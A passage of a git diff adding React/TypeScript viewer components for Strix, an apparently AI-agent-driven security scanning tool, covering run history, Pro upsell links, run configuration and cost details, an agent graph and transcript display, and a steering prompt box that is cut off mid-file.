+ ); +} diff --git a/strix/viewer/frontend/src/components/PastRunsView.tsx b/strix/viewer/frontend/src/components/PastRunsView.tsx new file mode 100644 index 00000000..ac043097 --- /dev/null +++ b/strix/viewer/frontend/src/components/PastRunsView.tsx @@ -0,0 +1,176 @@ +import { useState } from "react"; +import { History, ChevronRight, Terminal } from "lucide-react"; +import type { RunListEntry, RunsPayload, RunSeverityCounts } from "@/data/serverSource"; +import { runTitle } from "@/lib/target-utils"; +import { trackCta } from "@/lib/cta"; +import EmailVerifyInline from "@/components/EmailVerifyInline"; + +/** + * "Past runs" panel. Unverified users see a tease with the run count and a + * verify affordance (the launched run stays fully visible; the CLI + * `strix view ` still works). Verified users get the full history and can + * switch the active run, which threads ?run= through the data fetches. + */ + +const SEV = [ + { key: "critical", dot: "bg-red-500", text: "text-red-500" }, + { key: "high", dot: "bg-orange-500", text: "text-orange-500" }, + { key: "medium", dot: "bg-yellow-500", text: "text-yellow-500" }, + { key: "low", dot: "bg-blue-500", text: "text-blue-500" }, +] as const; + +function SeverityChips({ counts }: { counts: RunSeverityCounts }) { + const shown = SEV.filter((s) => counts[s.key] > 0); + if (shown.length === 0) { + return No findings; + } + return ( +
+ {shown.map((s) => ( +
+
+ ))} +
+ ); +} + +function formatDate(iso: string | null): string | null { + if (!iso) return null; + const normalized = iso.trim().replace(" UTC", "Z").replace(" ", "T"); + const d = new Date(normalized); + if (Number.isNaN(d.getTime())) return null; + return d.toLocaleString(undefined, { + month: "short", + day: "numeric", + hour: "numeric", + minute: "2-digit", + }); +} + +/** + * Relative time ("just now" / "5m ago" / "3h ago" / "2d ago"), falling back to + * the absolute date for anything older than a week (mirrors the pro app). + */ +function formatTimeAgo(iso: string | null): string | null { + if (!iso) return null; + const normalized = iso.trim().replace(" UTC", "Z").replace(" ", "T"); + const d = new Date(normalized); + if (Number.isNaN(d.getTime())) return null; + const diffMs = Date.now() - d.getTime(); + const mins = Math.floor(diffMs / 60000); + if (mins < 1) return "just now"; + if (mins < 60) return `${mins}m ago`; + const hours = Math.floor(mins / 60); + if (hours < 24) return `${hours}h ago`; + const days = Math.floor(hours / 24); + if (days < 7) return `${days}d ago`; + return formatDate(iso); +} + +interface PastRunsViewProps { + runs: RunsPayload | null; + activeRun: string | null; + onSelectRun: (name: string) => void; + onVerified: () => void; +} + +export default function PastRunsView({ + runs, + activeRun, + onSelectRun, + onVerified, +}: PastRunsViewProps) { + const count = runs?.count ?? 0; + const [showVerify, setShowVerify] = useState(false); + + if (!runs || runs.locked) { + return ( +
+
+
+

Browse every run on this machine

+

+ You have {count} past {count === 1 ? "run" : "runs"} on this machine. +

+ {showVerify ? ( + <> +

+ Verify your email with a one-time code to unlock the full history. +

+ + + ) : ( + + )} +

+

+
+ ); + } + + if (runs.runs.length === 0) { + return ( +
+ No past runs found on this machine yet. +
+ ); + } + + return ( +
+ {runs.runs.map((run: RunListEntry) => { + const active = run.name === activeRun; + const date = formatTimeAgo(run.start_time) ?? formatTimeAgo(run.end_time); + const title = runTitle(run.target, run.name); + return ( + + ); + })} +
+ ); +} diff --git a/strix/viewer/frontend/src/components/ProCta.tsx b/strix/viewer/frontend/src/components/ProCta.tsx new file mode 100644 index 00000000..686b4d40 --- /dev/null +++ b/strix/viewer/frontend/src/components/ProCta.tsx @@ -0,0 +1,184 @@ +import React, { useState } from "react"; +import { ArrowUpRight } from "lucide-react"; +import { SIGNUP_URL, ctaUrl, trackCta } from "@/lib/cta"; +import type { ProFeature } from "@/lib/pro-features"; + +/** + * Shared Pro CTA primitives. Every Pro item is a direct link-out to the cloud + * sign-up in a new tab with a hover tooltip one-liner (no modal, no lock icon). + * Built once here and reused by the sidebar Platform section, the top upsell + * row, and the inline CTAs in the tabs. + */ + +/** Small tier pill ("Pro" or "Enterprise"). Deliberately not a padlock. */ +export function ProTag({ label = "Pro", className = "" }: { label?: string; className?: string }) { + return ( + + {label} + + ); +} + +/** + * Lightweight hover tooltip. Wraps a trigger and reveals `text` above it on + * hover/focus. Plain Tailwind + local state (no radix vendored). + */ +export function Tooltip({ + text, + children, + className = "", +}: { + text: string; + children: React.ReactNode; + className?: string; +}) { + const [open, setOpen] = useState(false); + return ( + setOpen(true)} + onMouseLeave={() => setOpen(false)} + onFocus={() => setOpen(true)} + onBlur={() => setOpen(false)} + > + {children} + {open && ( + + {text} + + )} + + ); +} + +export interface ProItem { + title: string; + desc: string; + slug: string; + icon: React.ElementType; +} + +/** + * Card-style Pro feature tile: icon + name + one-liner + Pro tag + arrow. + * Used in the top upsell row and inline CTA grids. + */ +export function ProTile({ item, surface }: { item: ProItem; surface?: string }) { + const Icon = item.icon; + return ( + trackCta(item.slug, surface)} + title={item.desc} + className="group block cursor-pointer rounded-xl border border-[#222] bg-[rgba(255,255,255,0.02)] p-4 text-left transition-colors hover:border-[#444]" + > +
+
+

{item.title}

+

{item.desc}

+
+ ); +} + +/** + * Sidebar-row Pro item: a two-line row (icon + label + short one-liner + * underneath) with a small right-aligned tier tag. Opens the in-app + * FeatureDetail view via onClick (no link-out) so it sits uniformly beside the + * run/local rows in the themed nav list. + */ +export function ProNavItem({ + feature, + active, + onClick, + collapsed = false, +}: { + feature: ProFeature; + active?: boolean; + onClick: () => void; + collapsed?: boolean; +}) { + const Icon = feature.icon; + if (collapsed) { + return ( + + ); + } + return ( + + ); +} + +/** + * Inline Pro CTA button (compact). Used in the finding detail and per-surface + * rows where a full card is too heavy. + */ +export function ProInlineCta({ + label, + desc, + slug, + icon: Icon, + surface, +}: { + label: string; + desc: string; + slug: string; + icon: React.ElementType; + surface?: string; +}) { + return ( + + trackCta(slug, surface)} + className="group inline-flex items-center gap-2 rounded-lg border border-[#222] bg-[rgba(255,255,255,0.02)] px-3 py-2 text-sm text-[#aaa] transition-colors hover:border-[#444] hover:text-white" + > + + + ); +} diff --git a/strix/viewer/frontend/src/components/RunDetails.tsx b/strix/viewer/frontend/src/components/RunDetails.tsx new file mode 100644 index 00000000..a387950b --- /dev/null +++ b/strix/viewer/frontend/src/components/RunDetails.tsx @@ -0,0 +1,200 @@ +import { useState } from "react"; +import { ChevronDown, ChevronUp, Info } from "lucide-react"; +import { formatNumber } from "@/lib/display-number"; + +/** + * "Run details" card for the Overview tab: the launch configuration the run was + * started with (targets, instruction, scope, mode) and its LLM usage + cost. + * Everything is read defensively from the raw run.json record, which may be + * partial while a scan is still live. + */ + +type Rec = Record; + +function rec(v: unknown): Rec { + return v && typeof v === "object" && !Array.isArray(v) ? (v as Rec) : {}; +} +function arr(v: unknown): unknown[] { + return Array.isArray(v) ? v : []; +} +function str(v: unknown): string | null { + return typeof v === "string" && v.trim() ? v : null; +} +function num(v: unknown): number | null { + return typeof v === "number" && Number.isFinite(v) ? v : null; +} +function humanize(s: string): string { + return s.replace(/_/g, " "); +} +function cap(s: string | null): string | null { + return s ? s.charAt(0).toUpperCase() + s.slice(1) : s; +} +function fmtDuration(seconds: number | null): string { + if (seconds == null || seconds < 0) return "n/a"; + const h = Math.floor(seconds / 3600); + const m = Math.floor((seconds % 3600) / 60); + const s = seconds % 60; + if (h) return `${h}h ${m}m ${s}s`; + if (m) return `${m}m ${s}s`; + return `${s}s`; +} + +function Field({ label, children }: { label: string; children: React.ReactNode }) { + return ( +
+
{label}
+
{children}
+
+ ); +} + +export function RunDetails({ + raw, + durationSeconds, +}: { + raw: Rec; + durationSeconds: number | null; +}) { + const [open, setOpen] = useState(true); + + // Configuration (launch inputs) + const targets = arr(raw.targets_info).map((t) => { + const o = rec(t); + const display = str(o.original) ?? str(rec(o.details).target_url) ?? "unknown target"; + const type = str(o.type); + return { display, type: type ? humanize(type) : null }; + }); + const instruction = str(raw.instruction); + const scanMode = cap(str(raw.scan_mode)); + const scopeMode = str(raw.scope_mode); + const diff = rec(raw.diff_scope); + const diffActive = diff.active === true; + const diffMode = str(diff.mode); + const diffBase = str(raw.diff_base); + const nonInteractive = raw.non_interactive === true; + const localSources = arr(raw.local_sources).map((x) => String(x)).filter(Boolean); + const status = cap(str(raw.status)); + + let scope = scopeMode ?? "auto"; + if (diffActive) { + scope += ` (diff${diffMode ? `: ${diffMode}` : ""}${diffBase ? ` vs ${diffBase}` : ""})`; + } + + // Usage & cost + const usage = rec(raw.llm_usage); + const hasUsage = Object.keys(usage).length > 0; + const agents = arr(usage.agents).map(rec); + const models = Array.from( + new Set(agents.map((a) => str(a.model)).filter((m): m is string => !!m)) + ); + const requests = num(usage.requests); + const inputTokens = num(usage.input_tokens); + const cached = num(rec(arr(usage.input_tokens_details)[0]).cached_tokens); + const outputTokens = num(usage.output_tokens); + const reasoning = num(rec(arr(usage.output_tokens_details)[0]).reasoning_tokens); + const totalTokens = num(usage.total_tokens); + const cost = num(usage.cost); + + const sub = (n: number, word: string) => ( + ({formatNumber(n)} {word}) + ); + + return ( +
+ + + {open && ( +
+
+

+ Configuration +

+
+ {targets.length > 0 && ( + +
+ {targets.map((t, i) => ( +
+ {t.display} + {t.type && ( + + {t.type} + + )} +
+ ))} +
+
+ )} + + {instruction ? ( + {instruction} + ) : ( + None + )} + + {scanMode && {scanMode}} + {scope} + {nonInteractive ? "Non-interactive" : "Interactive"} + {localSources.length > 0 && ( + +
+ {localSources.map((s, i) => ( +
{s}
+ ))} +
+
+ )} + {status && {status}} +
+
+ +
+

+ Usage & cost +

+ {hasUsage ? ( +
+ {models.length ? models.join(", ") : "n/a"} + {fmtDuration(durationSeconds)} + {requests != null && {formatNumber(requests)}} + {inputTokens != null && ( + + {formatNumber(inputTokens)} + {cached != null && sub(cached, "cached")} + + )} + {outputTokens != null && ( + + {formatNumber(outputTokens)} + {reasoning != null && sub(reasoning, "reasoning")} + + )} + {totalTokens != null && {formatNumber(totalTokens)}} + {cost != null && ${cost.toFixed(2)}} + {agents.length > 0 && {formatNumber(agents.length)}} +
+ ) : ( +

Not available yet.

+ )} +
+
+ )} +
+ ); +} + +export default RunDetails; diff --git a/strix/viewer/frontend/src/components/Sidebar.tsx b/strix/viewer/frontend/src/components/Sidebar.tsx new file mode 100644 index 00000000..6ff870c3 --- /dev/null +++ b/strix/viewer/frontend/src/components/Sidebar.tsx @@ -0,0 +1,289 @@ +import React, { useEffect, useState } from "react"; +import { + FileText, + Bug, + Waypoints, + History, + Mail, + ArrowUpRight, + LogOut, + ShieldCheck, + PanelLeftClose, + PanelLeft, +} from "lucide-react"; +import { SIGNUP_URL, ctaUrl, trackCta } from "@/lib/cta"; +import { ProNavItem } from "@/components/ProCta"; +import { FEATURES, PLATFORM_ORDER } from "@/lib/pro-features"; +import type { View } from "@/App"; + +/** + * Persistent left rail. A single, ungrouped, ordered list of uniform two-line + * rows (icon + label + short one-liner): the current run's views, the local + * run-history + email-report actions, then the platform features. No section + * headers. Tier is shown only by the inline Pro/Enterprise tag on platform + * rows. Matches App.tsx's dark palette. + * + * Can collapse to a narrow icon-only rail; the collapsed state persists in + * localStorage and each icon row keeps a `title` tooltip so the labels stay + * discoverable. + */ + +const COLLAPSE_KEY = "strix_viewer_sidebar_collapsed"; + +interface SidebarProps { + view: View; + onSelectView: (view: View) => void; + activeFeature: string | null; + onSelectFeature: (slug: string) => void; + issuesCount: number; + agentCount: number; + runCount: number; + finished: boolean; + verified: boolean; + email: string | null; + onOpenEmail: () => void; + onOpenHistory: () => void; + onForget: () => void; +} + +export default function Sidebar({ + view, + onSelectView, + activeFeature, + onSelectFeature, + issuesCount, + agentCount, + runCount, + finished, + verified, + email, + onOpenEmail, + onOpenHistory, + onForget, +}: SidebarProps) { + const [collapsed, setCollapsed] = useState(false); + + useEffect(() => { + try { + setCollapsed(localStorage.getItem(COLLAPSE_KEY) === "1"); + } catch { + /* localStorage may be unavailable; default to expanded */ + } + }, []); + + const toggleCollapsed = () => { + setCollapsed((prev) => { + const next = !prev; + try { + localStorage.setItem(COLLAPSE_KEY, next ? "1" : "0"); + } catch { + /* best-effort persistence */ + } + return next; + }); + }; + + return ( + + ); +} + +function NavItem({ + icon: Icon, + label, + desc, + count, + active, + onClick, + collapsed = false, +}: { + icon: React.ElementType; + label: string; + desc: string; + count?: number; + active?: boolean; + onClick: () => void; + collapsed?: boolean; +}) { + if (collapsed) { + return ( + + ); + } + return ( + + ); +} diff --git a/strix/viewer/frontend/src/components/TrustToast.tsx b/strix/viewer/frontend/src/components/TrustToast.tsx new file mode 100644 index 00000000..deec179b --- /dev/null +++ b/strix/viewer/frontend/src/components/TrustToast.tsx @@ -0,0 +1,51 @@ +import { useState } from "react"; +import { ShieldCheck, X } from "lucide-react"; + +const DISMISS_KEY = "strix_viewer_trust_dismissed"; + +/** + * One-time privacy notice, shown as a toast pinned over the sidebar. Dismissing + * it persists to localStorage so it never returns on reload or view changes. + */ +export function TrustToast({ message }: { message: string }) { + const [dismissed, setDismissed] = useState(() => { + try { + return localStorage.getItem(DISMISS_KEY) === "1"; + } catch { + return false; + } + }); + + if (dismissed) return null; + + const dismiss = () => { + try { + localStorage.setItem(DISMISS_KEY, "1"); + } catch { + /* non-fatal: worst case the toast shows again next session */ + } + setDismissed(true); + }; + + return ( +
+
+
+
+ ); +} + +export default TrustToast; diff --git a/strix/viewer/frontend/src/components/live/AgentDetailModal.tsx b/strix/viewer/frontend/src/components/live/AgentDetailModal.tsx new file mode 100644 index 00000000..529e918a --- /dev/null +++ b/strix/viewer/frontend/src/components/live/AgentDetailModal.tsx @@ -0,0 +1,117 @@ +import { useCallback, useEffect, useRef } from "react"; +import { X } from "lucide-react"; +import { AgentTranscript } from "./AgentTranscript"; +import { ScanPromptComposer } from "./ScanPromptComposer"; +import type { TranscriptAgent, TranscriptEvent } from "@/data/serverSource"; + +/** Status -> the small leading dot color, matching the graph node styling. */ +const STATUS_DOT: Record = { + completed: "bg-emerald-400", + running: "bg-blue-400", + waiting: "bg-yellow-400", + stopped: "bg-[#888]", + crashed: "bg-red-400", + failed: "bg-red-400", +}; + +/** Consider the user "at the bottom" within this many px. */ +const NEAR_BOTTOM_PX = 80; + +/** + * Overlay modal showing a single agent's full transcript. Matches the cloud + * app: a fixed-size panel with a pinned header (status dot + agent name), the + * transcript scrolling beneath it, and a footer. Auto-scrolls to follow new + * activity while the user is near the bottom (so a live run trails). Closes on + * backdrop click, the X button, or Escape. + */ +export function AgentDetailModal({ + agent, + events, + steerable, + onClose, +}: { + agent: TranscriptAgent; + events: TranscriptEvent[]; + steerable: boolean; + onClose: () => void; +}) { + const scrollRef = useRef(null); + const nearBottom = useRef(false); + + const handleScroll = useCallback(() => { + const el = scrollRef.current; + if (!el) return; + nearBottom.current = el.scrollHeight - el.scrollTop - el.clientHeight < NEAR_BOTTOM_PX; + }, []); + + // Follow new activity when the user is near the bottom (live trailing). + useEffect(() => { + const el = scrollRef.current; + if (!el || !nearBottom.current) return; + requestAnimationFrame(() => { + el.scrollTo({ top: el.scrollHeight, behavior: "smooth" }); + }); + }, [events]); + + useEffect(() => { + const onKey = (e: KeyboardEvent) => { + if (e.key === "Escape") onClose(); + }; + document.addEventListener("keydown", onKey); + const prevOverflow = document.body.style.overflow; + document.body.style.overflow = "hidden"; + return () => { + document.removeEventListener("keydown", onKey); + document.body.style.overflow = prevOverflow; + }; + }, [onClose]); + + return ( +
+
e.stopPropagation()} + > +
+
+ + {agent.name} + {agent.id} +
+ +
+ +
+ +
+ + {steerable && ( +
+ +
+ )} +
+
+ ); +} + +export default AgentDetailModal; diff --git a/strix/viewer/frontend/src/components/live/AgentGraph.tsx b/strix/viewer/frontend/src/components/live/AgentGraph.tsx new file mode 100644 index 00000000..38502843 --- /dev/null +++ b/strix/viewer/frontend/src/components/live/AgentGraph.tsx @@ -0,0 +1,254 @@ +"use client"; + +import { useCallback, useEffect, useRef, useState } from "react"; +import { + ReactFlow, + Background, + Controls, + MiniMap, + useNodesState, + useEdgesState, + useReactFlow, + type Node, + type Edge, +} from "@xyflow/react"; +import dagre from "@dagrejs/dagre"; +import AgentNodeComponent from "./AgentNode"; +import GraphSkeleton from "./GraphSkeleton"; +import type { AgentNode } from "@/types/events"; + +import "@xyflow/react/dist/style.css"; + +const NODE_WIDTH = 260; +const NODE_HEIGHT = 80; + +const nodeTypes = { agentNode: AgentNodeComponent }; + +function getLayoutedElements( + agents: Map, + selectedAgentId: string | null +) { + const g = new dagre.graphlib.Graph(); + g.setDefaultEdgeLabel(() => ({})); + g.setGraph({ rankdir: "TB", nodesep: 60, ranksep: 80 }); + + const nodes: Node[] = []; + const edges: Edge[] = []; + + for (const [id, agent] of agents) { + g.setNode(id, { width: NODE_WIDTH, height: NODE_HEIGHT }); + nodes.push({ + id, + type: "agentNode", + position: { x: 0, y: 0 }, + data: { ...agent, isSelected: id === selectedAgentId }, + }); + + if (agent.parentId && agents.has(agent.parentId)) { + const edgeId = `${agent.parentId}->${id}`; + g.setEdge(agent.parentId, id); + edges.push({ + id: edgeId, + source: agent.parentId, + target: id, + style: { stroke: "#2a2a2a", strokeWidth: 1.5 }, + }); + } + } + + dagre.layout(g); + + for (const node of nodes) { + const pos = g.node(node.id); + if (pos) { + node.position = { + x: pos.x - NODE_WIDTH / 2, + y: pos.y - NODE_HEIGHT / 2, + }; + } + } + + return { nodes, edges }; +} + +const ZOOM_DURATION = 300; + + +/** Centers viewport on the root node (no parentId) at a fixed zoom — only once on first load */ +function CenterOnRoot({ nodes }: { nodes: Node[] }) { + const { setCenter } = useReactFlow(); + const hasCentered = useRef(false); + useEffect(() => { + if (nodes.length > 0 && !hasCentered.current) { + const root = nodes.find((n) => !(n.data as Record).parentId); + const target = root ?? nodes[0]; + hasCentered.current = true; + const cx = target.position.x + NODE_WIDTH / 2; + const cy = target.position.y + NODE_HEIGHT / 2; + setTimeout(() => setCenter(cx, cy, { zoom: 0.85, duration: 400 }), 60); + } + }, [nodes, setCenter]); + return null; +} + +function SmoothControls() { + const { zoomIn, zoomOut, fitView } = useReactFlow(); + return ( + +
+ + + +
+
+ ); +} + +interface AgentGraphProps { + agents: Map; + selectedAgentId: string | null; + onSelectAgent: (id: string | null) => void; + eventsLoaded?: boolean; + eventsEmpty?: boolean; + scanCompleted?: boolean; +} + +export default function AgentGraph({ + agents, + selectedAgentId, + onSelectAgent, + eventsLoaded, + eventsEmpty, + scanCompleted, +}: AgentGraphProps) { + const [nodes, setNodes, onNodesChange] = useNodesState([]); + const [edges, setEdges, onEdgesChange] = useEdgesState([]); + + useEffect(() => { + if (agents.size === 0) return; + const { nodes: ln, edges: le } = getLayoutedElements(agents, selectedAgentId); + setNodes(ln); + setEdges(le); + // eslint-disable-next-line react-hooks/exhaustive-deps + }, [agents.size, setNodes, setEdges]); + + // Sync agent data (status, name, etc.) into existing nodes without re-layout + useEffect(() => { + if (agents.size === 0) return; + setNodes((nds) => + nds.map((n) => { + const agent = agents.get(n.id); + if (!agent) return n; + return { ...n, data: { ...agent, isSelected: n.id === selectedAgentId } }; + }) + ); + }, [agents, selectedAgentId, setNodes]); + + const nodeClickedRef = useRef(false); + + const onNodeClick = useCallback( + (_: React.MouseEvent, node: Node) => { + nodeClickedRef.current = true; + onSelectAgent(node.id); + }, + [onSelectAgent] + ); + + const onPaneClick = useCallback(() => { + if (nodeClickedRef.current) { + nodeClickedRef.current = false; + return; + } + onSelectAgent(null); + }, [onSelectAgent]); + + // Convex responded, zero events — show empty state (not skeleton) + if (agents.size === 0 && eventsLoaded && eventsEmpty) { + return ( +
+
+ {scanCompleted ? ( + + + + ) : ( +
+ )} +
+

+ {scanCompleted + ? "Agent trace data is not available for this pentest" + : "Waiting for agent data\u2026"} +

+
+ ); + } + + const showGraph = agents.size > 0; + + return ( +
+ {/* Skeleton overlay — fades out when graph is ready */} +
+ +
+ + {/* Graph — fades in */} +
+ + + + + { + const status = (n.data as Record)?.status as string; + if (status === "running") return "#3b82f6"; + if (status === "completed") return "#10b981"; + if (status === "failed" || status === "error") return "#ef4444"; + return "#555"; + }} + maskColor="rgba(0,0,0,0.8)" + style={{ width: 80, height: 50 }} + className="!bg-[#0a0a0a] !border-[#222]" + /> + +
+
+ ); +} diff --git a/strix/viewer/frontend/src/components/live/AgentNode.tsx b/strix/viewer/frontend/src/components/live/AgentNode.tsx new file mode 100644 index 00000000..c7bc3ae1 --- /dev/null +++ b/strix/viewer/frontend/src/components/live/AgentNode.tsx @@ -0,0 +1,48 @@ +"use client"; + +import { memo } from "react"; +import { Handle, Position, type NodeProps } from "@xyflow/react"; +import type { AgentNode as AgentNodeData } from "@/types/events"; + +const STATUS_STYLES: Record = { + running: "bg-blue-500", + completed: "bg-emerald-500", + failed: "bg-red-500", + error: "bg-red-500", +}; + +function AgentNodeComponent({ data, selected }: NodeProps) { + const agent = data as unknown as AgentNodeData & { isSelected: boolean }; + + return ( +
+ + +
+ + + + + + {agent.name} + +
+ + 0 ? "!bg-[#444]" : "!bg-transparent"}`} /> +
+ ); +} + +export default memo(AgentNodeComponent); diff --git a/strix/viewer/frontend/src/components/live/AgentTranscript.tsx b/strix/viewer/frontend/src/components/live/AgentTranscript.tsx new file mode 100644 index 00000000..da25ceab --- /dev/null +++ b/strix/viewer/frontend/src/components/live/AgentTranscript.tsx @@ -0,0 +1,302 @@ +import { Component, useMemo, type ReactNode } from "react"; +import { Brain, Bot } from "lucide-react"; +import { getToolRenderer, getToolIcon } from "./tool-renderers"; +import ChatBubble from "./tool-renderers/ChatBubble"; +import type { ToolRendererProps, AgentNode as GraphAgentNode } from "@/types/events"; +import type { TranscriptAgent, TranscriptEvent } from "@/data/serverSource"; + +/* ---------- Error boundary so one bad event never blanks the transcript ---------- */ +class RendererErrorBoundary extends Component< + { toolName: string; children: ReactNode }, + { hasError: boolean } +> { + constructor(props: { toolName: string; children: ReactNode }) { + super(props); + this.state = { hasError: false }; + } + static getDerivedStateFromError() { + return { hasError: true }; + } + render() { + if (this.state.hasError) { + return ( + + {this.props.toolName.replace(/_/g, " ")} + + ); + } + return this.props.children; + } +} + +function SafeToolRenderer(props: ToolRendererProps) { + const Renderer = getToolRenderer(props.toolName); + return ( + + + + ); +} + +/* ---------- Value coercion ---------- + * args/result arrive as either a JSON object or a Python-repr string + * ("{'thought': '...'}"). Try JSON, then a naive python->json pass, then wrap + * the raw string so the fallback renderer can display it. Never throws. */ +function coerce(value: unknown): unknown { + if (value == null || typeof value !== "string") return value; + const t = value.trim(); + if (!t) return value; + try { + return JSON.parse(t); + } catch { + /* not JSON */ + } + try { + const jsonish = t + .replace(/\bNone\b/g, "null") + .replace(/\bTrue\b/g, "true") + .replace(/\bFalse\b/g, "false") + .replace(/'/g, '"'); + return JSON.parse(jsonish); + } catch { + return { __raw: value }; + } +} + +function asRecord(value: unknown): Record { + const c = coerce(value); + if (c && typeof c === "object" && !Array.isArray(c)) return c as Record; + if (c == null) return {}; + return { __raw: typeof c === "string" ? c : JSON.stringify(c) }; +} + +/** Numeric suffix of an event id ("tool_37" -> 37) for stable ordering. */ +function eventSeq(id: string): number { + const m = /(\d+)$/.exec(id); + return m ? parseInt(m[1], 10) : 0; +} + +/** A chat event whose author is the human/user (vs an assistant "thinking"). */ +function isUserChat(event: TranscriptEvent): boolean { + const role = event.data?.role; + return event.type === "chat" && (role === "user" || role === "human"); +} + +/** + * Inter-agent message deliveries land in the recipient's session as user-role + * items prefixed with a header (see the engine's message formatter). They are + * already represented via the sending agent's tool renderer, so we never render + * them as chat bubbles here. + */ +function isInterAgentDelivery(event: TranscriptEvent): boolean { + return isUserChat(event) && String(event.data?.content ?? "").startsWith("[Message from "); +} + +/** + * The reconstructed SDK session records every incoming user-role item for an + * agent: its initial input (the root's assembled brief, or a subagent's spawn / + * inherited-context prompt), inter-agent deliveries, AND genuine human steering + * messages sent live from the viewer or TUI. We only want the last group. Given + * an agent's events in order, hide the first user message (its initial input) + * and every inter-agent delivery; keep the rest, which are the human's live + * instructions, rendered as "User" bubbles. + */ +function hiddenUserEventIds(agentEventsInOrder: TranscriptEvent[]): Set { + const hidden = new Set(); + let sawInitialInput = false; + for (const e of agentEventsInOrder) { + if (!isUserChat(e)) continue; + if (isInterAgentDelivery(e)) { + hidden.add(e.id); + continue; + } + if (!sawInitialInput) { + sawInitialInput = true; + hidden.add(e.id); + } + } + return hidden; +} + +const STATUS_STYLE: Record = { + completed: "text-emerald-400 border-emerald-500/30 bg-emerald-500/10", + running: "text-blue-400 border-blue-500/30 bg-blue-500/10", + waiting: "text-yellow-400 border-yellow-500/30 bg-yellow-500/10", + stopped: "text-[#aaa] border-[#333] bg-[#1a1a1a]", + crashed: "text-red-400 border-red-500/30 bg-red-500/10", + failed: "text-red-400 border-red-500/30 bg-red-500/10", +}; + +/** Map our engine agent statuses onto the graph node's status union. */ +function graphStatus(status: string): GraphAgentNode["status"] { + if (status === "completed") return "completed"; + if (status === "running") return "running"; + if (status === "failed" || status === "crashed") return "failed"; + // waiting / stopped / unknown → keep the raw string; AgentNode/MiniMap fall + // back to a neutral gray for anything they don't explicitly style. + return status as GraphAgentNode["status"]; +} + +/** + * Adapt transcript agents + events into the Map that the live + * AgentGraph renders: children from parent_id, tool/message counts by scanning + * events, and a task pulled from the spawning create_agent call where present. + */ +export function buildGraphAgents( + agents: TranscriptAgent[], + events: TranscriptEvent[] +): Map { + const childrenOf = new Map(); + for (const a of agents) { + if (a.parent_id) { + const arr = childrenOf.get(a.parent_id) ?? []; + arr.push(a.id); + childrenOf.set(a.parent_id, arr); + } + } + + const toolCount = new Map(); + const messageCount = new Map(); + // A create_agent call names the child but not its id, so map spawned tasks by + // agent NAME (best-effort — used only for the graph node subtitle). + const taskByName = new Map(); + for (const e of events) { + if (e.type === "tool") { + toolCount.set(e.agent_id, (toolCount.get(e.agent_id) ?? 0) + 1); + if (e.data?.tool_name === "create_agent") { + const args = asRecord(e.data.args); + const name = (args.name as string) ?? (args.agent_name as string) ?? ""; + const task = (args.task as string) ?? ""; + if (name && task) taskByName.set(name, task); + } + } else if (!isUserChat(e)) { + // Count only assistant messages for the graph node subtitle. + messageCount.set(e.agent_id, (messageCount.get(e.agent_id) ?? 0) + 1); + } + } + + const map = new Map(); + for (const a of agents) { + map.set(a.id, { + id: a.id, + name: a.name, + task: taskByName.get(a.name) ?? "", + status: graphStatus(a.status), + parentId: a.parent_id, + children: childrenOf.get(a.id) ?? [], + createdAt: a.created_at, + toolCount: toolCount.get(a.id) ?? 0, + messageCount: messageCount.get(a.id) ?? 0, + }); + } + return map; +} + +/* ---------- Per-agent transcript ---------- */ +export function AgentTranscript({ + agent, + events, + showHeader = true, +}: { + agent: TranscriptAgent; + events: TranscriptEvent[]; + showHeader?: boolean; +}) { + const mine = useMemo(() => { + const ordered = events + .filter((e) => e.agent_id === agent.id) + .sort((a, b) => eventSeq(a.id) - eventSeq(b.id)); + const hidden = hiddenUserEventIds(ordered); + return ordered.filter((e) => !hidden.has(e.id)); + }, [events, agent.id]); + + const toolCount = mine.filter((e) => e.type === "tool").length; + const msgCount = mine.length - toolCount; + + return ( +
+ {showHeader && ( + <> +
+ {agent.name} + + {agent.status} + + {agent.id} +
+

+ {msgCount} message{msgCount === 1 ? "" : "s"} · {toolCount} tool call + {toolCount === 1 ? "" : "s"} +

+ + )} + + {mine.length === 0 ? ( +

No recorded activity for this agent.

+ ) : ( +
+ {mine.map((event, i) => { + const isLast = i === mine.length - 1; + const isTool = event.type === "tool"; + const toolName = isTool ? String(event.data?.tool_name ?? "tool") : ""; + const role = !isTool ? String(event.data?.role ?? "assistant") : ""; + + let Icon; + let iconColor: string; + if (isTool) { + const meta = getToolIcon(toolName); + Icon = meta.icon; + iconColor = meta.color; + } else { + const isUser = role === "user" || role === "human"; + Icon = isUser ? Bot : Brain; + iconColor = isUser ? "text-blue-400" : "text-purple-400"; + } + + const status = isTool ? String(event.data?.status ?? "completed") : "completed"; + + return ( +
+
+
+ +
+ {!isLast &&
} +
+
+ {isTool ? ( + + ) : ( + + )} +
+
+ ); + })} +
+ )} +
+ ); +} diff --git a/strix/viewer/frontend/src/components/live/GraphSkeleton.tsx b/strix/viewer/frontend/src/components/live/GraphSkeleton.tsx new file mode 100644 index 00000000..853b1af5 --- /dev/null +++ b/strix/viewer/frontend/src/components/live/GraphSkeleton.tsx @@ -0,0 +1,70 @@ +"use client"; + +function SkeletonNode({ w = 24 }: { w?: number }) { + return ( +
+
+
+
+
+
+
+
+
+
+
+ ); +} + +function VLine() { + return
; +} + +function HBranch({ count }: { count: number }) { + return ( +
+
+
+ ); +} + +export default function GraphSkeleton() { + return ( +
+
+ + + +
+ {[18, 22, 16].map((w, i) => ( +
+ + +
+ ))} +
+
+
+ + +
+ {[14, 20].map((w, i) => ( +
+ + +
+ ))} +
+
+
+ + + + +
+
+
+
+
+ ); +} diff --git a/strix/viewer/frontend/src/components/live/ScanPromptComposer.tsx b/strix/viewer/frontend/src/components/live/ScanPromptComposer.tsx new file mode 100644 index 00000000..7d91c0fc --- /dev/null +++ b/strix/viewer/frontend/src/components/live/ScanPromptComposer.tsx @@ -0,0 +1,315 @@ +import { + useCallback, + useEffect, + useLayoutEffect, + useMemo, + useRef, + useState, +} from "react"; +import { ArrowUp, ChevronDown, ChevronUp, Loader2, Sparkles } from "lucide-react"; +import { steerAgent, type TranscriptAgent } from "@/data/serverSource"; +import { track } from "@/lib/cta"; +import { cn } from "@/lib/utils"; + +const ROOT_TARGET_VALUE = "__root__"; + +interface ScanPromptComposerProps { + /** All agents in the run; used to resolve the root and running children. */ + agents: TranscriptAgent[]; + /** + * Single-agent (modal) mode: pins the composer to one agent and shows a + * static "Target: " pill instead of the dropdown. Omit for the + * multi-agent graph variant. + */ + fixedAgentId?: string; + className?: string; +} + +/** + * Faithful port of the pro app's ScanPromptComposer for the local viewer. + * Collapsed by default into a "Guide the agent" pill; expands into a card with + * an auto-resizing textarea and a target control. The viewer's steering is + * immediate (no 